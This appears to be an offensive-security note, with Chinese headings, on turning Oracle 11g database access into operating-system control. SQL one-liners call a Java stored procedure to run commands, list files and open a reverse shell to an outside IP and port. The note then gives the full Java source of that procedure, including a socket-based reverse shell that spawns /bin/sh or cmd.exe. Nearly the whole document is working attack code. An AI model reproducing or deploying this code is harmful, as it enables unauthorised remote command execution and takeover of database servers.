Oracle Database 11g Enterprise Edition Release 11.2.0.1.0 - Production
PL/SQL Release 11.2.0.1.0 - Production
"CORE	11.2.0.1.0	Production"
TNS for 32-bit Windows: Version 11.2.0.1.0 - Production
NLSRTL Version 11.2.0.1.0 - Production

命令执行
select run('exec','whoami','UTF-8') from dual;
文件管理
select run('list','/usr','UTF-8') from dual;
获取当前路径
select run('getCurrentDir','','UTF-8') from dual;
反弹shell
select run('connectBack','172.17.0.3^8989','UTF-8') from dual;

import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.File;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.io.OutputStreamWriter;
import java.net.Socket;
import java.util.Date;

public class Shell extends Object {
    public static String run(String methodName, String params, String encoding) {
        String result = "";
        if (methodName.equalsIgnoreCase("exec")) {
            result = Shell.exec(params, encoding);
        } else if (methodName.equalsIgnoreCase("list")) {
            result = Shell.list(params, encoding);
        } else if (methodName.equalsIgnoreCase("getCurrentDir")) {
            result = Shell.getCurrentDir();
        } else if (methodName.equalsIgnoreCase("connectBack")) {
            String ip = params.substring(0, params.indexOf("^"));
            String port = params.substring(params.indexOf("^") + 1);
            result = Shell.connectBack(ip, Integer.parseInt(port));
        } else {
            result = "unkown methodName";
        }
        return result;
    }

    public static String exec(String cmd, String encoding) {
        String result = "";
        if (encoding == null || encoding.equals("")) {
            encoding = "utf-8";
        }
        Process p;
        try {
            p = Runtime.getRuntime().exec(cmd);
            try {
                p.waitFor();
            } catch (InterruptedException e) {
                result += e.getMessage();
                e.printStackTrace();
            }
            InputStream fis;
            if (p.exitValue() == 0) fis = p.getInputStream();
            else fis = p.getErrorStream();
            InputStreamReader isr = new InputStreamReader(fis);
            BufferedReader br = new BufferedReader(isr);
            String line = null;
            while ((line = br.readLine()) != null) {
                result += line + "\n";
            }
        } catch (IOException e) {
            result += e.getMessage();
        }
        return result;
    }

    public static String list(String path, String encoding) {
        String result = "";
        if (encoding == null || encoding.equals("")) {
            encoding = "utf-8";
        }
        File file = new File(path);
        File[] items = file.listFiles();
        for (int i = 0; i < items.length; i++) {
            File item = items[i];
            String type = item.isDirectory() ? "<DIR>" : " ";
            String size = item.isDirectory() ? " " : item.length() / 1024 + "KB";
            if (size.equals("0KB")) size = item.length() + "Byte";
            String date = new Date(item.lastModified()).toLocaleString();
            result += date + " " + type + " " + size + " " + item.getName() + "\n";
        }
        return result;
    }

    public static String getCurrentDir() {
        String result = "";
        File directory = new File("");
        try {
            result = directory.getAbsolutePath();
        } catch (Exception e) {
        }
        return result;
    }

    public static String connectBack(String ip, int port) {
        class StreamConnector extends Thread {
            InputStream sp;
            OutputStream gh;

            StreamConnector(InputStream sp, OutputStream gh) {
                this.sp = sp;
                this.gh = gh;
            }

            public void run() {
                BufferedReader xp = null;
                BufferedWriter ydg = null;
                try {
                    xp = new BufferedReader(new InputStreamReader(this.sp));
                    ydg = new BufferedWriter(new OutputStreamWriter(this.gh));
                    char buffer[] = new char[8192];
                    int length;
                    while ((length = xp.read(buffer, 0, buffer.length)) > 0) {
                        ydg.write(buffer, 0, length);
                        ydg.flush();
                    }
                } catch (Exception e) {
                }
                try {
                    if (xp != null) xp.close();
                    if (ydg != null) ydg.close();
                } catch (Exception e) {
                }
            }
        }
        try {
            String ShellPath;
            if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1) {
                ShellPath = new String("/bin/sh");
            } else {
                ShellPath = new String("cmd.exe");
            }
            Socket socket = new Socket(ip, port);
            Process process = Runtime.getRuntime().exec(ShellPath);
            (new StreamConnector(process.getInputStream(), socket.getOutputStream())).start();
            (new StreamConnector(socket.getInputStream(), process.getOutputStream())).start();
        } catch (Exception e) {
        }
        return "^OK^";
    }
}